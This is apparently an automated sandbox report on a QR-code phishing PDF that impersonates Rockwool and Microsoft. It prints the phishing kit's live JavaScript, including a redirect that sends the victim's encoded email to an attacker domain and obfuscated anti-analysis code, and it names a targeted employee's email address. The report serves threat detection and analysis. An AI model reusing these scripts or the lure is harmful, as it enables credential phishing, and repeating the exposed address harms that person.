Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, cdn.jsdelivr.net.cdn.cloudflare.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, aadcdn.azureedge.net, aadcdn.ec.azureedge.net, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, edgedl.me.gvt1.com, armmf.adobe.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Rockwool-Msg-S9039587897.pdf

Simulations

Behavior and APIs

Time	Type	Description
06:06:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	http://tphzc9.fergusonlatest.net/#YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20=

LLM Input / Output

Input	Output
URL: https://tphzc9.fergusonlatest.net/#YWRhbS5sdWJpa0B... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script redirects users to an untrusted domain (cenislerge.shop) with potential data exfiltration by appending the URL hash to the query string. This behavior is suspicious and indicative of phishing or malicious intent." }
var gmode ='a'; var gg =''; if(gmode=='a'){ var hash = window.location.hash; cleanhash = hash.replace("#", ""); }else{ cleanhash=gg; } var linkx="https://qxydsa4dws.cenislerge.shop/?email="; window.location.replace(linkx+''+cleanhash);
URL: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5s... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script contains obfuscated code, which is a high-risk indicator (+3 points). It uses the Function constructor for dynamic code execution, another high-risk indicator (+3 points). Additionally, it manipulates cookies, which could be used for data exfiltration or session hijacking, adding to the risk. The obfuscation and potential for malicious behavior suggest a suspicious intent, leading to a high-risk score." }
var _0x17d0bb=_0x4400;function _0x4400(_0x33d568,_0x56aee1){var _0x28f930=_0x1e42();return _0x4400=function(_0x8e9da3,_0x495ac1){_0x8e9da3=_0x8e9da3-0x15f;var _0x508969=_0x28f930[_0x8e9da3];return _0x508969;},_0x4400(_0x33d568,_0x56aee1);}(function(_0x529f02,_0x96881a){var _0x3b7dec=_0x4400,_0x3d5e2d=_0x529f02();while(!![]){try{var _0x2b8190=parseInt(_0x3b7dec(0x182))/0x1+parseInt(_0x3b7dec(0x187))/0x2(-parseInt(_0x3b7dec(0x169))/0x3)+-parseInt(_0x3b7dec(0x186))/0x4(-parseInt(_0x3b7dec(0x16f))/0x5)+-parseInt(_0x3b7dec(0x17d))/0x6(parseInt(_0x3b7dec(0x163))/0x7)+parseInt(_0x3b7dec(0x175))/0x8(parseInt(_0x3b7dec(0x162))/0x9)+-parseInt(_0x3b7dec(0x168))/0xa+parseInt(_0x3b7dec(0x161))/0xb;if(_0x2b8190===_0x96881a)break;else _0x3d5e2d['push'](_0x3d5e2d['shift']());}catch(_0x349cea){_0x3d5e2d['push'](_0x3d5e2d['shift']());}}}(_0x1e42,0x64e65));var _0x2e501e=(function(){var _0x8820cc=!![];return function(_0xb3cf9,_0x1e6654){var _0x1e2615=_0x8820cc?function(){var _0x190170=_0x4400;if(_0x1e6654){var _0x5e0c82=_0x1e6654[_0x190170(0x160)](_0xb3cf9,arguments);return _0x1e6654=null,_0x5e0c82;}}:function(){};return _0x8820cc=![],_0x1e2615;};}()),_0x28447d=_0x2e501e(this,function(){var _0x99db18=_0x4400;return _0x28447d['toString']()[_0x99db18(0x176)]('(((.+)+)+)+$')[_0x99db18(0x17a)]()['constructor'](_0x28447d)[_0x99db18(0x176)](_0x99db18(0x174));});_0x28447d();var _0x495ac1=(function(){var _0x21fbbf=!![];return function(_0x5aa19e,_0x369fc8){var _0x2e71b3=_0x21fbbf?function(){var _0xd20347=_0x4400;if(_0x369fc8){var _0x1306f7=_0x369fc8[_0xd20347(0x160)](_0x5aa19e,arguments);return _0x369fc8=null,_0x1306f7;}}:function(){};return _0x21fbbf=![],_0x2e71b3;};}()),_0x8e9da3=_0x495ac1(this,function(){var _0x4415df=_0x4400,_0x40686b=function(){var _0xeae0b9=_0x4400,_0x59d91f;try{_0x59d91f=Function('return\x20(function()\x20'+_0xeae0b9(0x166)+');')();}catch(_0x321a5b){_0x59d91f=window;}return _0x59d91f;},_0x4ff17d=_0x40686b(),_0x1c3a3c=_0x4ff17d[_0x4415df(0x16c)]=_0x4ff17d[_0x4415df(0x16c)]\|\|{},_0x7f23a4=[_0x4415df(0x172),'warn',_0x4415df(0x185),_0x4415df(0x17e),'exception','table',_0x4415df(0x17b)];for(var _0x5756f7=0x0;_0x5756f7<_0x7f23a4[_0x4415df(0x178)];_0x5756f7++){var _0x4130fa=_0x495ac1[_0x4415df(0x16a)][_0x4415df(0x181)][_0x4415df(0x15f)](_0x495ac1),_0x21d745=_0x7f23a4[_0x5756f7],_0x56e97e=_0x1c3a3c[_0x21d745]\|\|_0x4130fa;_0x4130fa['__proto__']=_0x495ac1['bind'](_0x495ac1),_0x4130fa[_0x4415df(0x17a)]=_0x56e97e[_0x4415df(0x17a)]['bind'](_0x56e97e),_0x1c3a3c[_0x21d745]=_0x4130fa;}});_0x8e9da3(),document['getElementById']('body')[_0x17d0bb(0x17c)](_0x17d0bb(0x184),myFunction);var Timeout;function myFunction(){var _0x5dbb15=_0x17d0bb;document[_0x5dbb15(0x179)]('body')[_0x5dbb15(0x173)](_0x5dbb15(0x184),myFunction),clearTimeout(Timeout),goto();}function _0x1e42(){var _0x56b20e=['918046okSKCZ','path=/;\x20Secure;\x20SameSite=None','bind','apply','4567585dtSWBo','677601nWeNYG','283437KBCuSQ','preload','body','{}.constructor(\x22return\x20this\x22)(\x20)','document','8175060DvsEbk','3TzGAja','constructor','Modal','console','reload','location','1015IkfbIS','setTime',';domain=','log','removeEventListener','(((.+)+)+)+$','8mXRIOQ','search','show','length','getElementById','toString','trace','addEventListener','30LzWLhb','error','getTime','wnotice','prototype','766558VKTqQh','expires=','mouseover','info','12516MkXyGH'];_0x1e42=function(){return _0x56b20e;};return _0x1e42();}Timeout=setTimeout(function(){var _0x10d6bc=_0x17d0bb,_0x29a7a7=new bootstrap[(_0x10d6bc(0x16b))](document[_0x10d6bc(0x179)](_0x10d6bc(0x180)),{'keyboard':![]});_0x29a7a7[_0x10d6bc(0x177)](),document['getElementById'](_0x10d6bc(0x165))[_0x10d6bc(0x173)](_0x10d6bc(0x184),myFunction);},0x1388);function goto(){var _0xe0de0=_0x17d0bb;setCookie(_0xe0de0(0x164),'1',window[_0xe0de0(0x16e)]['host']),setTimeout(()=>{var _0x5cf114=_0xe0de0;location[_0x5cf114(0x16d)]();},0xbb8);}function setCookie(_0x3e4a3d,_0x16f1bb,_0x29ee96){var _0x2d5ce7=_0x17d0bb;let _0x3d551d=new Date();_0x3d551d[_0x2
URL: https://qxydsa4dws.cenislerge.shop/m/jx/IOI6PDFGKT... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library. It does not exhibit any high-risk or moderate-risk behaviors such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script primarily defines utility functions and methods for DOM manipulation and event handling, which are typical for jQuery. There are no indications of malicious intent or suspicious activity. The use of script injection via the 'm' function is a standard practice in jQuery for executing scripts in a controlled manner. Overall, the snippet is benign and aligns with typical library functionality." }
/! jQuery v3.7.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[i.call(e)]\|\|"object":typeof e}var t="3.7.0",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|v(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==i.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i\|\|9===i\|\|11===i)return e.textContent;if(3===i\|\|4===i)return e.nodeValue}else while(t=e[r++])n+=ce.text(t);return n},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|\|e).documentElement;return!l.test(t\|\|n&&n.nodeName\|\|"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,
URL: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Scan the barcode to review and sign Master Agreement and Rockwool Benefit", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": false }

URL: https://qxydsa4dws.cenislerge.shop Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://qxydsa4dws.cenislerge.shop
URL: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is classified as 'wellknown'.", "The legitimate domain for Microsoft is 'microsoft.com'.", "The provided URL 'qxydsa4dws.cenislerge.shop' does not match the legitimate domain for Microsoft.", "The URL contains a random string and an unusual domain extension '.shop', which is not typically associated with Microsoft.", "The URL does not contain any recognizable elements related to Microsoft, indicating a high likelihood of phishing." ], "riskscore": 9} Google indexed: False
URL: qxydsa4dws.cenislerge.shop Brands: Microsoft Input Fields: unknown
URL: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify your identity", "prominent_button_name": "Sign-in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify your identity", "prominent_button_name": "Sign in", "text_input_field_labels": ["Password"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Model: Joe Sandbox AI	{ "brands": [ "Rockwool", "Microsoft" ] }
	{ "brands": [ "Rockwool", "Microsoft" ] }
URL: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Model: Joe Sandbox AI	```json{ "legit_domain": "rockwool.com", "classification": "known", "reasons": [ "The brand 'Rockwool' is a known brand associated with insulation products.", "The URL 'qxydsa4dws.cenislerge.shop' does not match the legitimate domain 'rockwool.com'.", "The domain 'cenislerge.shop' is unusual and not associated with the Rockwool brand.", "The presence of a password input field on a non-legitimate domain is suspicious.", "The URL contains random characters and uses a '.shop' domain, which is not typical for the Rockwool brand." ], "riskscore": 9} Google indexed: False
URL: qxydsa4dws.cenislerge.shop Brands: Rockwool Input Fields: Password
URL: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script contains obfuscated code and uses the Function constructor for dynamic code execution, which are high-risk indicators. It also decodes a base64 string, potentially indicating obfuscation of URLs or code. However, there is no clear evidence of data exfiltration or interaction with suspicious domains, so the risk is medium." }
function _0x496c(){var _0x1d3579=['296ZIxXNs','log','prototype','1420lrozaH','toString','trace','917462xaJkqA','error','634536LSpEol','7883352TpabIk','table','exception','317961rFIbHQ','178967eYZNyA','8NwClPj','onkeydown','console','bind','search','(((.+)+)+)+$','419652WBikVP','apply','return\x20(function()\x20','keyCode','contextmenu'];_0x496c=function(){return _0x1d3579;};return _0x496c();}var _0x3f0783=_0x5740;(function(_0x1e6505,_0x96876c){var _0x2cbc3a=_0x5740,_0x1d4735=_0x1e6505();while(!![]){try{var _0x11f3c6=-parseInt(_0x2cbc3a(0x163))/0x1+-parseInt(_0x2cbc3a(0x15e))/0x2+-parseInt(_0x2cbc3a(0x162))/0x3+parseInt(_0x2cbc3a(0x156))/0x4(-parseInt(_0x2cbc3a(0x159))/0x5)+parseInt(_0x2cbc3a(0x151))/0x6+-parseInt(_0x2cbc3a(0x15c))/0x7(parseInt(_0x2cbc3a(0x164))/0x8)+parseInt(_0x2cbc3a(0x15f))/0x9;if(_0x11f3c6===_0x96876c)break;else _0x1d4735['push'](_0x1d4735['shift']());}catch(_0x16b797){_0x1d4735['push'](_0x1d4735['shift']());}}}(_0x496c,0x2ec4e));var _0x3085a7=(function(){var _0xf352e4=!![];return function(_0x11b422,_0xff323b){var _0x27e3fd=_0xf352e4?function(){if(_0xff323b){var _0x535ea9=_0xff323b['apply'](_0x11b422,arguments);return _0xff323b=null,_0x535ea9;}}:function(){};return _0xf352e4=![],_0x27e3fd;};}()),_0x41a8ad=_0x3085a7(this,function(){var _0x25e311=_0x5740;return _0x41a8ad[_0x25e311(0x15a)]()[_0x25e311(0x14f)](_0x25e311(0x150))[_0x25e311(0x15a)]()['constructor'](_0x41a8ad)[_0x25e311(0x14f)]('(((.+)+)+)+$');});_0x41a8ad();var _0x2d8d99=(function(){var _0x16cc4a=!![];return function(_0x3d69c3,_0x1c44c5){var _0x3af659=_0x16cc4a?function(){var _0x507834=_0x5740;if(_0x1c44c5){var _0x2b2d9f=_0x1c44c5[_0x507834(0x152)](_0x3d69c3,arguments);return _0x1c44c5=null,_0x2b2d9f;}}:function(){};return _0x16cc4a=![],_0x3af659;};}()),_0x3f164b=_0x2d8d99(this,function(){var _0x401c9e=_0x5740,_0x238212=function(){var _0x4b7226=_0x5740,_0x417967;try{_0x417967=Function(_0x4b7226(0x153)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x5da31b){_0x417967=window;}return _0x417967;},_0x366315=_0x238212(),_0x4b49ae=_0x366315['console']=_0x366315[_0x401c9e(0x14d)]\|\|{},_0x177120=[_0x401c9e(0x157),'warn','info',_0x401c9e(0x15d),_0x401c9e(0x161),_0x401c9e(0x160),_0x401c9e(0x15b)];for(var _0xfaf8b7=0x0;_0xfaf8b7<_0x177120['length'];_0xfaf8b7++){var _0x8fd877=_0x2d8d99['constructor'][_0x401c9e(0x158)][_0x401c9e(0x14e)](_0x2d8d99),_0x2f2eb3=_0x177120[_0xfaf8b7],_0x54b937=_0x4b49ae[_0x2f2eb3]\|\|_0x8fd877;_0x8fd877['__proto__']=_0x2d8d99[_0x401c9e(0x14e)](_0x2d8d99),_0x8fd877[_0x401c9e(0x15a)]=_0x54b937[_0x401c9e(0x15a)][_0x401c9e(0x14e)](_0x54b937),_0x4b49ae[_0x2f2eb3]=_0x8fd877;}});function _0x5740(_0x174e82,_0x57db5b){var _0x51943f=_0x496c();return _0x5740=function(_0x3f164b,_0x2d8d99){_0x3f164b=_0x3f164b-0x14c;var _0x5c4daa=_0x51943f[_0x3f164b];return _0x5c4daa;},_0x5740(_0x174e82,_0x57db5b);}_0x3f164b(),$(document)['bind'](_0x3f0783(0x155),function(_0x31051a){return![];}),document[_0x3f0783(0x14c)]=function(_0x2b584b){var _0x116636=_0x3f0783;return _0x2b584b['ctrlKey']&&(_0x2b584b[_0x116636(0x154)]===0x49\|\|_0x2b584b['keyCode']===0x69\|\|_0x2b584b[_0x116636(0x154)]===0x4a\|\|_0x2b584b[_0x116636(0x154)]===0x6a\|\|_0x2b584b[_0x116636(0x154)]===0x55\|\|_0x2b584b[_0x116636(0x154)]===0x75)?![]:!![];}; var semail = "adam.lubik@rockwool.com"; var urlx,purlx,lmode; urlx = atob("c2NyaXB0LnBocA=="); lmode="b"; purlx=urlx;

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.1.229	http://www.ledger-secure03948.sssgva.com/	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/jquery.magnific-popup/1.0.0/jquery.magnific-popup.min.js
151.101.1.229	New Scanned Copy.html	Get hash	malicious	HTMLPhisher	Browse	cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js
104.26.12.205	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
209.74.95.101	http://mt6j71.p1keesoulharmony.com/	Get hash	malicious	HTMLPhisher, EvilProxy	Browse
	https://hmjpvx0wn1.gaimensebb.shop/	Get hash	malicious	EvilProxy, HTMLPhisher	Browse
	http://1lyiqb.recodifyphone.net/#john.smith@ups.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sni1gl.wpc.upsiloncdn.net	HQV-224647.docx	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	HQV-224647.docx	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	HpRXI8oMC1.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://reauth.oceanagolds.com/eByfEuEc#Z3JhZW1lLmdhbGJyYWl0aEBhcm5vbGRjbGFyay5jb20=	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse	152.199.21.175
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	152.199.21.175
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	#U051d==.eml	Get hash	malicious	Unknown	Browse	152.199.21.175
	704b67b5-6bc9-dbd5-0710-60eb98e03983.eml	Get hash	malicious	Unknown	Browse	152.199.21.175
jsdelivr.map.fastly.net	https://acg.citnow.com/dashboard	Get hash	malicious	Unknown	Browse	151.101.129.229
	http://www.recorderkorea.com/shop/proc/indb.cart.tab.php?action=ok&tab=today&type=delete&returnUrl=https://23058.hicleanly.ca/uoeujd/shuhsdy/odog/kratos/REDIRECT/Zl2jyY/compliance@yourmom.com	Get hash	malicious	Unknown	Browse	151.101.65.229
	Carisls Open Benefits Enrollment.eml	Get hash	malicious	unknown	Browse	151.101.65.229
	https://@%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BD%93%EF%BC%9A%E2%93%97%E2%93%A3%E2%93%A3%E2%93%9F%E2%93%A2:@%74%72%61%6E%73%6C%61%74%65.google.al/%74%72%61%6E%73%6C%61%74%65?sl=auto&tl=en&hl=en-US&u=https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/%69%70%66%73/%62%61%66%79%62%65%69%64%66%32%67%68%76%35%76%61%6B%65%71%6C%63%71%71%76%7A%66%73%65%74%74%37%75%7A%73%65%71%6D%6D%75%74%6E%75%61%65%73%74%6F%7A%71%69%6F%75%65%66%32%72%71%32%79%23Xamy.lynt@busey.com	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://drive.google.com/uc?export=download&id=1exrW4eArCFn4rWRiZm-_Z8vKtyu_rwNw	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://@%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BD%93%EF%BC%9A%E2%93%97%E2%93%A3%E2%93%A3%E2%93%9F%E2%93%A2:@%74%72%61%6E%73%6C%61%74%65.google.al/%74%72%61%6E%73%6C%61%74%65?sl=auto&tl=en&hl=en-US&u=https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/%69%70%66%73/%62%61%66%79%62%65%69%64%66%32%67%68%76%35%76%61%6B%65%71%6C%63%71%71%76%7A%66%73%65%74%74%37%75%7A%73%65%71%6D%6D%75%74%6E%75%61%65%73%74%6F%7A%71%69%6F%75%65%66%32%72%71%32%79%23XNick.Atkin@Yorkshirehousing.co.uk	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://wetransfer.com/downloads/a83584fea59b11ef1e94d36869e8790020241209234540/89744b9472f9ce1b5e3b4ada79f2184c20241209234540/7041ff?t_exp=1734047140&t_lsid=42d44d78-6d8f-48db-8db5-5efa0c86786d&t_network=email&t_rid=ZW1haWx8Njc0ZjQ5YTNiNjM1NTFjNmY2NTg0N2Zj&t_s=download_link&t_ts=1733787940&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://webradiojaguar.net/FNB-POP.pdf	Get hash	malicious	Unknown	Browse	151.101.129.229
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://maya-lopez.filemail.com/t/BLFGBJSQ	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
api.ipify.org	RFQ-004282A.Teknolojileri A.S.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	discord.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	QUOTATION#08670.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	INVOICE NO. USF23-24072 IGR23110.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	SPECIFICATIONS.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	EEMsLiXoiTzoaDd.scr	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Statement 2024-11-29 (K07234).exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
bg.microsoft.map.fastly.net	financial_policy_December 10, 2024.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	199.232.214.172
	RQ--029.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	DHL AWB Document_pdf.vbs	Get hash	malicious	Unknown	Browse	199.232.214.172
	Purchase_order-001.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	199.232.210.172
	MHDeXPq2uB.exe	Get hash	malicious	RedLine	Browse	199.232.210.172
	n70CrSGL8G.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	1.e	Get hash	malicious	DanaBot	Browse	199.232.210.172
	xuhu.exe	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	Review_Approval_rocjr.pdf	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://get-derila.com	Get hash	malicious	Unknown	Browse	104.18.19.54
